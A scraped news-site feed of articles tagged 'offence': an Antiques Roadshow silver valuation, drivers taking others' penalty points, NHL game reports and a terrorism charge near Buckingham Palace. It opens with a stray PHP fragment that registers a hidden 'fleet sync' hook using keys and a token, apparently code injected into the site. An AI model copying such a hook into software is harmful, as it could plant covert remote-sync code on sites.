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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); offence – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 08 Nov 2020 19:16:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png offence – Brief News https://briefnews.eu 32 32 Antiques Roadshow expert’s warning against ‘criminal offence’ as item ‘illegally altered’ https://briefnews.eu/antiques-roadshow-experts-warning-against-criminal-offence-as-item-illegally-altered/ https://briefnews.eu/antiques-roadshow-experts-warning-against-criminal-offence-as-item-illegally-altered/#respond Sun, 08 Nov 2020 19:16:13 +0000 https://briefnews.eu/antiques-roadshow-experts-warning-against-criminal-offence-as-item-illegally-altered/

Antiques Roadshow star Alastair travelled to Buckfast Abbey for the valuation in question, with the guest bringing along a giant silver plate. The relic was brought on the off-chance it might have had some value, but the owner was left in disbelief when he realised the item had a very interesting backstory. This led him to question whether he could make some changes to it to up the value, only for the expert of the BBC programme to warn him it would be a “criminal offence” if he were to do so.

Getting his hands on the gold-coloured silver dish, Alastair asked: “You’ve got here a pretty spectacular silver-gilt dish, where did you get it from?”

The guest explained: “I brought it online, actually. I sort of dabble a little bit with silver and things and this was one of the things that came up and I’ve had it now for four to six months.”

Going into further analysis, the expert said: “If we turn it over, it’s got some marks here on the back which have all got crosses right through them.

“Do you know why they’ve got that?” he inquired, to which the relic owner replied: “I don’t. Hopefully, you’re going to tell me.”

Evaluating the piece more intently, the expert noticed one of the marks was the letter F, determining an original dish would have been curated in 1761.

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Unfortunately, the one the guest had brought along was changed to try and pass it off as a dish which would match the original.

“It’s gone to the London assay office and been put in front of the Antique Plate Committee, which is the adjudicating body that makes opinions officially on all things of a suspect nature,” Alastair continued.

“And this was thought to be an illegal piece of silver, that’s why it was sent,” the expert explained, leaving the guest in shock.

“It was altered in the 19th Century from something much plainer into something different.

“It was probably something like a large meat dish or a salver that was converted into the sort of hubcap shape but deemed to be what’s called an illegal alteration.”

“So in order to make it legal, they cross out the marks, but they re-mark it,” the expert continued, describing how the look of the silver-dish was changed.

Alastair then determined from the marks the piece had been altered quite recently, 2018 to be precise which left him and the guest bewildered.

Asking how much the owner of the relic had paid for it, the expert learnt it cost him around £800 via online purchase.

“Well, I’m glad to tell you that you paid, not an over-the-top price. It’s worth somewhere between £700 and £1,000,” the expert revealed.

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However, there was some bad news as he told the guest: “If this was genuine, we’d be looking at ten times that.”

“Can we not scrub those marks?” the owner of the gold-coloured silver dish asked before Alastair issued his warning.

“That would be another offence and a criminal offence,” the expert explained, before stating it was a “good piece of silver”.

“You can put fruit in it. You can have your cornflakes out of it. You could put it on the side of your car,” he commented.

The show is currently off-air as new episodes are being filmed in accordance with coronavirus and social distancing regulations.

Host Fiona Bruce, 56, said of the new arrangements: “Normally we welcome around 5,000 people to each Antiques Roadshow, but of course, in these extraordinary times, we will have to do things very differently.

“We’ve come up with a new way to safely film the show yet still bring you amazing items and stories. I can’t wait to see what treasures you have hidden in your homes.”

It has not yet been revealed when the new episode will start to air, but it is likely they will hit screens early next year.

Antiques Roadshow is now available to watch on BBCiPlayer.

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]]> https://briefnews.eu/antiques-roadshow-experts-warning-against-criminal-offence-as-item-illegally-altered/feed/ 0 How a ‘harmless’ driving offence could see you risk a prison sentence https://briefnews.eu/how-a-harmless-driving-offence-could-see-you-risk-a-prison-sentence/ https://briefnews.eu/how-a-harmless-driving-offence-could-see-you-risk-a-prison-sentence/#respond Sat, 18 Aug 2018 11:41:06 +0000 http://briefnews.eu/how-a-harmless-driving-offence-could-see-you-risk-a-prison-sentence/

Motorists are being warned that flouting a seemingly innocuous driving rule could land them a prison sentence. 

Lying about the person who committed a driving offence and taking the penalty points for someone else is illegal can land the people involved in serious trouble. 

A recent study revealed that one in five motorists surveyed had accepted penalty points for another motorist. 

Speeding is the most common offence people are accepting penalty points from another driver for. 

Motorists could be prosecuted for perverting the course of justice and can even face a maximum life sentence. 

A punishment that is more likely and proportional for an offence of this kind is a large fine than a prison sentence, but it is entirely possible.

In fact, there have been cases when this has happened in the UK with drivers being punished.  

In 2013, MP Chris Hyhne and wife Vicky Pryce were both sentenced to eight months in prison after she admitted accepting penalty points for a speeding offence. 

Other reasons a driver may accept penalty points for another motorist is for monetary gain. 

The report claims that some motorists will take points off another driver for a cash incentive. 

The report from Co-Op revealed that in half of the instances points were accepted on behalf of another driver were from someone helping out a spouse. 

Nick Ansley, head of motor insurance at Co-op, said: “It’s surprising and quite concerning that a fifth of motorists have taken penalty points for someone else.

“Penalty points are in place to deter people from committing motoring offences and to ensure safer driving for all on the roads.

“We want to ensure people are safe on the roads and whilst some drivers may think they’re helping out another, by swapping penalty points, they’re putting themselves and others at risk.

Penalty points can not only accumulate over time and potentially see you lose your licence but they can also affect your insurance.

Car insurance premiums can often increase if the driver has penalty points.

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]]> https://briefnews.eu/how-a-harmless-driving-offence-could-see-you-risk-a-prison-sentence/feed/ 0 Penalty point WARNING – Thousands drivers at risk of receiving jail time for THIS offence https://briefnews.eu/penalty-point-warning-thousands-drivers-at-risk-of-receiving-jail-time-for-this-offence/ https://briefnews.eu/penalty-point-warning-thousands-drivers-at-risk-of-receiving-jail-time-for-this-offence/#respond Sat, 14 Jul 2018 11:58:05 +0000 http://briefnews.eu/penalty-point-warning-thousands-drivers-at-risk-of-receiving-jail-time-for-this-offence/

UK motorists are at risk of landing jail time for taking penalty points for other motorists. 

According to new research by Co-op Insurance, around 20 per cent of drivers in the UK have taken points for another motorist. 

This is completely illegal and comes with huge consequences. 

Motorists could be prosecuted for perverting the course of justice and can even face a maximum life sentence. 

More typically, for this kind of offence, drivers fraudulently taking points are more likely set to land a large fine and prison sentence.

One way drivers are getting away with taking points for other people is for speeding oddness as the driver of the car at the time needs to be confirmed so the points are given to the correct person. 

In addition to this, any drivers found to have given the incorrect identity could face more penalty points and a driving ban. 

According to the research, men are more likely to take the points than women and over half of those who took points were for a partner or significant other. 

Nick Ansley, head of motor insurance at Co-op, said: “It’s surprising and quite concerning that a fifth of motorists have taken penalty points for someone else.

“Penalty points are in place to deter people from committing motoring offences and to ensure safer driving for all on the roads.

“We want to ensure people are safe on the roads and whilst some drivers may think they’re helping out another, by swapping penalty points, they’re putting themselves and others at risk.”

Neil Greig, IAM RoadSmart director of policy and research, said: “You would be charged with perverting the course of justice if you get taken to court – more commonly ‘failure to give information as to identity of driver’ could be applied to your licence if you don’t tell them who was driving – that’s a fine plus six points on your licence.

“It would take the involvement of a very dedicated policeman or speed camera employee to get caught as most speeding tickets are issued virtually automatically – but a human review of the picture is normally done before the paperwork is posted off.

“Therefore if a man is clearly seen at the wheel and a woman’s name is supplied they may recheck.

“In short, being accused of perverting the course of justice is not something anyone wants connected to them – especially for the sake of points on your licence.”

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]]> https://briefnews.eu/penalty-point-warning-thousands-drivers-at-risk-of-receiving-jail-time-for-this-offence/feed/ 0 Jets remain grounded by Golden Knights' quick-strike offence https://briefnews.eu/jets-remain-grounded-by-golden-knights-quick-strike-offence/ https://briefnews.eu/jets-remain-grounded-by-golden-knights-quick-strike-offence/#respond Sat, 19 May 2018 07:40:21 +0000 http://briefnews.eu/jets-remain-grounded-by-golden-knights-quick-strike-offence/ The Winnipeg Jets had life in this one, a lot of life.

Tyler Myers blasted a shot through the pads of Vegas Golden Knights MVP Marc-Andre Fleury to tie Game 4 early in the third period.

Since the Myers goal, it seemed like it was just a matter of time before the Jets would score the go-ahead goal to tie up the West final.

A little more than seven minutes later, however, Jets forward Brandon Tanev employed his world-class speed to carry the puck deep into the Vegas end. 

He circled behind the Golden Knights goal and slid a pass back to Dustin Byfuglien at the blue line. Byfuglien whiffed on his one-time attempt.

Vegas playmaker Reilly Smith jumped on the mistake.

He lassoed the loose puck and had a partial breakaway. But instead of cruising in on the Jets goal, Smith seemed to surprise Winnipeg goalie Connor Hellebuyck with a pinpoint snapshot that fluttered from 30-feet out over the netminder's right shoulder with 6:58 remaining.

Vegas edges Winnipeg 3-2, leads series 3-2. Expansion team 1 win away from advancing to Stanley Cup final. 1:49

The Jets needed a big save at this time. But Hellebuyck was caught too close to his crease instead of being out to challenge Smith. Another game-winner for the upstart and opportunistic expansion Golden Knights.

Their 3-2 victory at home has put this remarkable team, this remarkable story, a win away from advancing to the Stanley Cup final.

Vegas' Marc-Andre Fleury reacts after allowing a goal to Patrik Laine in the second period. (Ethan Miller/Getty Images)

Quick-strike answer

"You don't want to take away from their team, they cash in on their opportunities, but we win that game, nine times out of 10," Jets captain Blake Wheeler said.

The difficult part about the way this series has transpired for the Jets is that the Golden Knights always seem to have a quick-strike answer whenever the Jets score a key goal.

Okay, sure, seven-and-a-half minutes of action elapsed between the Myers game-tying goal and Smith's game-winner. But consider what the Golden Knights have done in their three-game win streak to take over this conference final:

  • In Game 2 on Monday, Winnipeg's Kyle Connor scored to push the Jets within 2-1 only to see Golden Knights sniper Jonathan Marchessault restore the two-goal lead 88 seconds later.
  • In Game 3 on Wednesday, young star Mark Scheifele drew the Jets even early in the second period. But a dozen seconds later Vegas veteran James Neal put his team ahead for good in the 4-2 outcome.
  • On this fateful Friday, Patrik Laine scored on the power play to tie the game midway through the second period. But, for the third game in a row, Vegas forward Tomas Nosek, the same player who took a tripping penalty in the offensive zone that led to the Laine goal, scored 43 seconds later.

It's not like this quick-strike phenomenon has been lost on Jets head coach Paul Maurice. He had his checking line of Adam Lowry, Andrew Copp and Tanev out there as well as his shutdown defence pairing of Josh Morrissey and Jacob Trouba. But Trouba was in a fog and was caught watching instead of picking up Nosek.

'I don't like the goals'

"I don't like the goals," Maurice said. "We lost a draw [in Game 3]. Maybe it wasn't some coverage around our net [on Friday]."

While this development is disturbing to the Jets coach, Maurice was irate about a first-period retaliatory penalty from Scheifele after a missed cross-check from Vegas defenceman Brayden McNabb on Scheifele.

Winnipeg Jets head coach Paul Maurice looks on against the Vegas Golden Knights during the second period. (Ethan Miller/Getty Images)

The ensuing Golden Knights power play resulted in a William Karlsson goal.

"Heavy, heavy profanity," Maurice said. "Offensive. Would probably cost you your job."

Winnipeg Jets head coach talks to media after 3-2 loss to Vegas Golden Knights. 0:54

Maurice isn't going to lose his job for losing the West final. But if the Jets are going to beat Fleury for three wins in a row, he'll need the best coaching of his career to pull out this series.

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]]> https://briefnews.eu/jets-remain-grounded-by-golden-knights-quick-strike-offence/feed/ 0 Canadiens' offence explodes in rout of Senators https://briefnews.eu/canadiens-offence-explodes-in-rout-of-senators/ https://briefnews.eu/canadiens-offence-explodes-in-rout-of-senators/#respond Tue, 31 Oct 2017 09:07:46 +0000 http://briefnews.eu/canadiens-offence-explodes-in-rout-of-senators/

The Montreal Canadiens are starting to believe in themselves after a rough start to the season.

Charles Hudon scored his first two National Hockey League goals and added an assist as the Canadiens routed the Ottawa Senators 8-3 on Monday night for their first back-to-back wins of the year.

Game Wrap: Canadiens dominate Senators for 1st consecutive wins of season1:58

“Offensively we’ve been a team that hasn’t scored much, but five the last game and eight tonight so I can see the confidence coming back with the players,” said Montreal head coach Claude Julien.

“You can’t keep losing hockey games and feel good about yourself, but you start winning and confidence comes back.”

Artturi Lehkonen also struck twice for the Canadiens (4-7-1), while Max Pacioretty, Alex Galchenyuk, Brendan Gallagher and Tomas Plekanec rounded out the attack.

Shea Weber tacked on three helpers and Al Montoya picked up his first win of the season by stopping 25 shots and added an assist.

Montoya called it a wild night and was just happy to see the Canadiens come out on the winning side of things.

“We’re making bounces happen, we’re making plays happen and guys aren’t holding their sticks too tight so we’re making plays happen,” said Montoya. “It was fun to watch and fun to be a part of.”

The Senators would call it anything but fun.

Ottawa is 2-2-5 at home this season leaving head coach Guy Boucher with few answers as to why his team struggles at Canadian Tire Centre.

“I don’t know what it is to be honest with you,” said Boucher. “Whether it’s over-confidence or unconsciously feeling comfortable at home or whatever I don’t know what it is, but it’s certainly something we have to change and address.”

Tom Pyatt, Ryan Dzingel and Chris DiDomenico found the back of the net for Ottawa (5-2-5). Craig Anderson made just nine saves on 15 shots through two periods before being replaced by Mike Condon, who allowed two goals on 14 shots.

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Perhaps most notable for the Senators was the fact that captain Erik Karlsson was on the ice for seven Montreal goals.

“I think I’ve had way worst games and got away with it, [Monday] was not one of those nights,” said Karlsson. “It’s something you’re going to have to deal with throughout the season, throughout your career. I’ve done it before, I’m going to do it again and it’s not something that’s going to affect me moving forward. I know what I have to do to be successful and [Monday] was not one of those nights.”

Hudon scored both his goals in the first as both teams combined for six goals in the period. The Habs entered the game as the lowest scoring team in the Eastern Conference.

Pyatt opened the scoring just 21 seconds in for the Senators, but Montreal replied at 4:27 as Hudon stepped around Karlsson to beat Anderson short side.

The Canadiens, shorthanded, made it 2-1 as Pacioretty stole the puck from Anderson behind the net to score into an empty net. Ottawa tied things back up as a Mike Hoffman’s shot went in off Dzingel. The Canadiens went on to score twice more to lead 4-2 after 20 minutes.

The second was quieter until the halfway mark when DiDomenico scored his second in as many games as the Senators made it 4-3 with a power-play goal.

The Canadiens regained their two-goal cushion as Jordie Benn fed a beautiful pass to Galchenyuk for a breakaway and beat Anderson high. Gallagher made it 6-3 with less than a minute remaining in the period with his fourth of the season.

“Our compete level wasn’t high enough to win the game against anybody,” said Boucher. “When that happens you’re basically opening the door for the opponent to take over and that’s what they did so they totally deserve the game and we totally don’t.”

Condon started the third with his team trailing 6-3, but it didn’t take long for the Canadiens to beat him. Plekanec scored short side at 5:10 and Lehkonen made it 8-3 midway through the period.

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]]> https://briefnews.eu/canadiens-offence-explodes-in-rout-of-senators/feed/ 0 'We've just got to relax': Connor McDavid diagnoses an ailing Oilers offence https://briefnews.eu/weve-just-got-to-relax-connor-mcdavid-diagnoses-an-ailing-oilers-offence/ https://briefnews.eu/weve-just-got-to-relax-connor-mcdavid-diagnoses-an-ailing-oilers-offence/#respond Wed, 25 Oct 2017 18:50:27 +0000 http://briefnews.eu/weve-just-got-to-relax-connor-mcdavid-diagnoses-an-ailing-oilers-offence/ Connor McDavid’s stat sheet for Tuesday’s game against the Pittsburgh Penguins will record five shots, three blocks and one goal.

What it won’t show are five words the young superstar uttered in the locker room afterward, his hair still damp from the shower, his face still rouged from the exertion of an extraordinarily entertaining game his team had just lost 2-1 in overtime.

“We’ve just got to relax,” he said.

It seems a simple thing, but the phrase cuts directly to the heart of the matter.

With those five words, McDavid put a stethoscope to the recurring malady that has plagued the Edmonton Oilers for the past seven games: an offence with a barely perceptible pulse.

The Oilers will return home from this three-game road trip with one win, one regulation-time loss and one overtime loss.

When they left Edmonton they were walking wounded, with frail goaltending, a shaky defence and a sputtering offence.

Away from home, they cured some of those ills.

As Meatloaf once said, two out of three ain’t bad.

While away from home, goaltender Cam Talbot found his game, and the defence suddenly remembered how to play in front of him.

Over three games in Chicago, Philadelphia and Pittsburgh, they surrendered a measly five goals.

But the offence scored only four. Even students of the “New Math” know that ain’t good.

Four goals in three games table scraps. They’ve been surviving, barely, on the same starvation diet for seven games now.

So this condition, for the moment, appears to have become chronic.

The Oilers have fired 302 shots on goal in eight games this season. They’ve scored 15 times.

A team shooting percentage of 4.9 per cent is half what it should be.

Last season, that percentage was 9.54.

Hip Check: Talbot and Murray overshadow hyped McDavid vs. Crosby showdown0:53

Talbot brilliant in Oilers net

When pucks aren’t going in, several things happen. Players are reluctant to shoot when they should. They try to make perfect shots and miss by inches. They hesitate. They second-guess.

Confident players just rip it at the net. Goals build confidence, which leads to more goals. And so on.

You get the sense that if these guys just keep shooting, if they “relax” and trust their skills, pucks will start going in.

But enough of that – time to talk about what went right.

For starters, Talbot played brilliantly, again, in Pittsburgh.

Over a span of more than two periods, he stopped every shot he saw, and some he didn’t. He was finally beaten on a wrist shot by Ian Cole that threaded its way through a congregation gathered in front of the net.

But Matt Murray played copycat at the other end of the rink, and matched him save for save — until McDavid beat him with a wicked wrist shot, high glove-side, to tie the score with three minutes left in the third period.

The Penguins won the game on a Phil Kessel goal, 42 seconds into overtime.

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Edmonton Oilers goalie Cam Talbot blocks a shot in the third period against the Pittsburgh Penguins on Tuesday. The Penguins won 2-1 in overtime. (The Associated Press)

Fans on Twitter question coach’s decision

The inquisition began while the red light behind Talbot was still flashing.

Fans on Twitter and radio call-in shows wanted to know why the less-than-fleet-footed Milan Lucic was on the ice in 3-3 overtime.

A lumbering power forward, whose strength is best displayed during combat along the boards and in the corners, Lucic was part of the second Oilers trio over the boards in the extra period. He and linemate Ryan Nugent-Hopkins broke in on the Penguins net but missed on their chance, which created, as it often does, an odd-man rush the other way.

As Evgeni Malkin lugged the puck into the Oilers’ zone, Lucic and Nugent-Hopkins skated hard to get back. They weren’t fast enough. Malkin slipped a pass across to Kessel, who fired the winner home.

No one can fault the Oilers’ effort on Tuesday night, or in the two previous road games.

They continue to generate scads of scoring chances.

Mark Letestu had the best one Tuesday evening, and missed a goal by precisely 3.5 inches. After a perfect pass, he faced a gaping net. But a desperate Murray reached out with his stick, 3.5 inches wide at the paddle, and guess what the puck hit?

That pucks goes in 99 out of 100 times.

Oilers coach Todd McLellan said he liked his team’s overall effort. He was pleased his players appear to have cleaned up the defensive lapses that plagued the team at home last week against Winnipeg and Carolina. The next step, he said, will be to find some anti-venom for a snakebitten offence.

Asked about his team’s scoring woes, he offered his own expert diagnosis.

“It’s almost like we’re squeezing it so tight that we ether pause or we shoot it a little too quick,” he said.

Which was exactly what his captain said, in five well-chosen words.

Great minds think alike.

The Oilers return home to play the Dallas Stars on Thursday and the Washington Capitals on Saturday — both teams that can score goals in bunches. 

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]]> https://briefnews.eu/weve-just-got-to-relax-connor-mcdavid-diagnoses-an-ailing-oilers-offence/feed/ 0 Leafs offence blows up again in high-scoring win over Rangers https://briefnews.eu/leafs-offence-blows-up-again-in-high-scoring-win-over-rangers/ https://briefnews.eu/leafs-offence-blows-up-again-in-high-scoring-win-over-rangers/#respond Sun, 08 Oct 2017 04:04:51 +0000 http://briefnews.eu/leafs-offence-blows-up-again-in-high-scoring-win-over-rangers/ Two games into the season, the Maple Leafs offence is already in top gear. But despite winning both contests, it has been a wild ride.

After enduring a penalty-filled start to beat the Jets 7-2 to kick off the season Wednesday, Toronto survived a four-goal New York comeback to defeat the Rangers 8-5 in its home opener Saturday night.

Third-period goals by Tyler Bozak, Leo Komarov and Nazem Kadri helped secure the Toronto win.

The scoring spree marks the first time the Maple Leafs have scored seven or more goals in consecutive games to open a season since 1917-18 when the Toronto Arenas scored nine and 10 goals, respectively.

Fun and dumb was Leafs coach Mike Babcock’s assessment of the up-and-down evening.

It was an adventure in defending for both teams at times, with Toronto pulling ahead 5-1 in the first period and chasing Henrik Lundqvist before the Rangers scored four unanswered goals to quieten the Air Canada Centre crowd of 19,621.

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Zach Hyman scored twice in the first period on Saturday’s game. (Claus Andersen/Getty Images)

Babcock pointed to the final result, calling it a “big win at home” while acknowledging there is more work to be done.

“The second period, I don’t know what we were doing,” he said. “We got away from our game.

“That’s the way sports should be. When you don’t do things right, you shouldn’t have success and we didn’t. There’s lot of things we can get better at but the way I look at it is we’ve played two [games] now and found a way to survive in both of them and win the games.”

Babcock said while the Leafs lost their way, “we had enough stability and enough talent to stick with it and end up getting a win.”

“So a big win for our team. It’ll feel good tomorrow and we’ll fix the things we’ve got to fix,” he added.

Toronto hosts Chicago on Monday.

Tied 5-5 going into the third period, Bozak ended the Leafs’ slide at 7:17 by redirecting a fine pass from the corner from Jake Gardiner over Ondrej Pavelec’s glove. The Rangers lost a challenge that the play was offside, earning a minor penalty in the process.

Kevin Hayes took a slashing penalty for New York and Komarov made it 7-5 at 9:52, tapping in the rebound after William Nylander roofed a backhand off the crossbar.

The Rangers pulled their goalie with some three minutes remaining only to see Ryan McDonagh take a hooking penalty. Kadri took advantage with a low shot at 18:30.

Toronto also got two goals from Zach Hyman and singles from Gardiner, Dominic Moore and Nikita Zaitsev.

J.T. Miller, Kevin Shattenkirk, Mika Zibanejad, Marc Staal and Mats Zuccarello scored for the Rangers (0-2-0). Zuccarello also had three assists.

Lundqvist shelled early

Lundqvist must have felt like he was in a shooting gallery following a first period that saw Toronto lead 5-2 after outshooting the Rangers 17-12. The beleaguered Swede was replaced by Pavelec to start the second period.

“They’re a good team, really good team,” said Lundqvist. “They make you pay if you’re not sharp with your decisions in your own end.”

Toronto also chased starter Steve Mason in Winnipeg.

The Leafs scored first through Moore and, after Miller tied the score, increased the lead to 5-1 on two goals by Hyman and singles by Gardiner and Zaitsev.

Shattenkirk started the comeback late in the first with Zibanejad, Staal and Zuccarello scoring in the second to tie at 5-5.

The Rangers, who had a 15-11 edge in shots in the second period, could have had more in the period but Frederik Andersen made a huge save and the Leafs got some kind bounces around their goal.

The Leafs outshot the Rangers 41-35.

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]]> https://briefnews.eu/leafs-offence-blows-up-again-in-high-scoring-win-over-rangers/feed/ 0 NHL preview: Can Drouin provide the spark Habs' offence needs? https://briefnews.eu/nhl-preview-can-drouin-provide-the-spark-habs-offence-needs/ https://briefnews.eu/nhl-preview-can-drouin-provide-the-spark-habs-offence-needs/#respond Fri, 29 Sep 2017 11:11:15 +0000 http://briefnews.eu/nhl-preview-can-drouin-provide-the-spark-habs-offence-needs/ This is part four of our series of season previews for the seven Canadian-based NHL teams. 

The Edmonton Oilers, Toronto Maple Leafs and Calgary Flames have previously been previewed. 

Montreal Canadiens 

2016-17 record: 47-26-9 (103 points), 1st out of 8 in Atlantic Division, eliminated by the New York Rangers in 6 games in 1st round of playoffs.

Key off-season additions: D Karl Alzner, F Jonathan Drouin. 

Key off-season subtractions: F Alex Radulov, D Andrei Markov.

Probability of winning the Cup*: 3.85%

Probability of making playoffs*: 73.69%

*derived from betting odds posted by Bodog

Last season’s story

Montreal’s 2016-17 season was filled with ups and downs on the road to a first-round playoff exit. The team looked to have made serious strides after a forgettable campaign the year before, getting off to a blistering 13-1-1 start before it all came crashing down. After going 18-18-7 through the winter months, the Canadiens replaced coach Michel Therrien with Claude Julien — in a second go-around behind the Habs’ bench — in February. The move brought fresh life into the team, allowing them to finish atop a weak Atlantic Division. However, persistent issues with their inability to convert offence into goals (15th in goals scored with 223) was further exposed by the New York Rangers in the post-season. A healthy Carey Price could do little to remedy the fact that his teammates failed to score when it counted most. Captain Max Pacioretty, who led the team with 35 goals in the regular season, could only muster a single assist in the six-game opening-round loss.

Game Wrap: Rangers end Canadiens’ season with Game 6 win1:50

The off-season

Surely the acquisition of a young talented player like Jonathan Drouin through a trade with Tampa Bay lessened the blow of losing Alex Radulov and Andrei Markov in free agency. At just 22, Drouin is heading into the prime of his career and the team is trying him out as a long-awaited solution to their lack of a No. 1 centre. Whether that works remains to be seen, but it’s doubtful that Montreal’s off-season acquisitions will be enough to fill the gap that Radulov and Markov left in its top power play unit. The addition of Karl Alzner won’t help much with scoring, but he’s a dependable defenceman who should slot in nicely in one of the top-two pairings.  

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Montreal Canadiens’ Carey Price led his team to the first-round of the playoffs last season, but they were unable to provide scoring support to their MVP goalie. (Minas Panagiotakis/Getty Images)

Dream scenario

Drouin helps ignite Montreal’s inconsistent offence alongside Pacioretty, finally providing Price with the scoring support he has needed. Adding veterans Mark Streit on defence and Ales Hemsky on offence as well as impressive training camp prospects Charles Hudon and Victor Mete help provide enough depth to stay competitive in what could be a tough Eastern Conference. They’d love to see unreliable forward Alex Galchenyuk live up to his potential, something he’s been unable to do in the five NHL seasons since being chosen third overall in 2012.  

Nightmare scenario

Down goes Price. We all saw how the Canadiens fell apart in 2015-16 without their MVP, who was injured for most of that season with a strained ligament in his knee. While expected backup Al Montoya was adequate last season, he won’t be able to steal Montreal games the way Price often does. But if the team can’t find a way to be reliable on the scoresheet, even Price won’t be able to bail them out. 

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A man has been charged in connection with a terrorist incident outside Buckingham Palace on Friday evening that left three police officers injured.

Mohiussunnath Choudhury, 26, was charged on Thursday with engaging in conduct in preparation for giving effect to his intention to commit an act or acts of terrorism.

The accused was arrested near the royal residence on Friday while armed with a 4-ft sword. 

Choudhury will appear at Westminster Magistrates’ Court later today, Scotland Yard confirmed.

A spokesman for the force said the man had been arrested by detectives from the Metropolitan Counter-Terrorism Command.

READ MORE: Man with 4ft sword arrested in Buckingham Palace terrorist incident shouted ‘Allahu Akbar’ – police

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Mike Hoffman noticed the chatter on social media about his team’s supposedly boring style of play, but he and the rest of the Ottawa Senators appear not to care as it continues to work.

Ottawa rolled over the Pittsburgh Penguins 5-1 in Game 3 on Wednesday night and now sit two wins from an unlikely trip to the Stanley Cup final.

“If we played a run-and-gun game that maybe some people would rather watch, we probably wouldn’t be here,” Hoffman said after the thorough dissection of the defending Stanley Cup champs. “So we use our assets and that’s what works.”

Though their offensive outburst highlighted the latest victory — including the fastest three goals in team playoff history — the Sens bottled up their opponents yet again. Pittsburgh has scored a mere three goals through the first three games of the series — one in each game, including a meaningless late tally from Sidney Crosby in Game 3.

The Sens struck 48 seconds into the first Eastern Conference final game at Canadian Tire Centre in 10 years, but in the 10 or so minutes after that — with the game still close — Pittsburgh got little going offensively. The usually speedy Pens were slowed down through a contested neutral zone and managed only non-threatening shots from the outside at Craig Anderson.

3 quick goals

Then, Ottawa fired off three goals in two minutes and 18 seconds to put the game out of reach.

The wave began with relentless pressure on the ailing Pittsburgh defence, which was without Justin Schultz for Game 3 on top of usual No. 1 defenceman Kris Letang, who’s out for the post-season. Nowhere was this was more apparent than on the third Senators goal when continued hounding of the Penguins forced a series of giveaways and eventually a tally from Derick Brassard.

The 29-year-old managed to get a step on Mark Streit, 10 years his senior, who was playing for the first time in the 2017 playoffs.

Hoffman, Marc Methot and Zack Smith also scored during the one-sided first period, which saw four goals get past Marc-Andre Fleury in 12 minutes and 52 seconds.

Hip Check: Sens score early and often in Game 3 against Pens0:32

The rocky outing from Fleury now has the Penguins at least questioning whether to turn to Matt Murray for Game 4 on Friday night.

Of equal importance moving forward for Pittsburgh, the highest-scoring team in the regular season, will be finding a way past the so-called Kanata Wall.

Head coach Guy Boucher has insisted on an extremely defensive style from the day he took over the Senators last May.

It took until December for the full embrace, for his teachings to become instinctual rather than something that required thought out on the ice. As Hoffman explained it, everyone knew at that point — three months into the season — where they needed to be on the ice and what their responsibility was.

Maybe a run-and-gun attack might be more entertaining to watch, he added, but that’s not the way the team works under Boucher.

‘We’re workers here’

“At this level you do what the coach says,” said Hoffman, who also played for Boucher in the Quebec Major Junior Hockey League. “We’re workers here. We don’t decide which system is put in place, we just have to go out there and execute it and do our job. That’s what we’re here to do.”

For Boucher, that means a quick transition to defence when the puck is lost, plenty of blocked shots, “good sticks” in the defensive zone and a neutral zone crowded with waiting bodies.

Boucher observed slippage during a second-round series against New York with players “sniffing” out extra offensive zone opportunities and the Rangers capitalized with breakaways and odd-man rushes before ultimately falling in six games.

Ottawa was determined not to make the same mistakes against a more dangerous Pittsburgh opponent and of the nine periods played so far, Boucher has been happy with eight — the lone exception being the third period of Game 2.

Notable in their efforts is the continued shutdown of the Pens most explosive offensive players.

It took until six minutes into the third period of Game 3 for Crosby to land his first point of the series. Evgeni Malkin has a goal and an assist through three games, but finished with just a single shot and no points in Game 3. Phil Kessel got the game-winner after a series of frustrations in Game 2, but he’s been increasingly bothered by the constant jarring of former Maple Leafs teammate Dion Phaneuf.

The Sens are up in the series by playing exactly as they have for most of the season — leaning on their defensive ways to get by. Wednesday’s blowout was an oddity though for a team that had 11 of its first 14 games this spring decided by a goal.

“We’re not bothered by what’s said about our team,” Brassard said. “Our focus is on what we need to do.”

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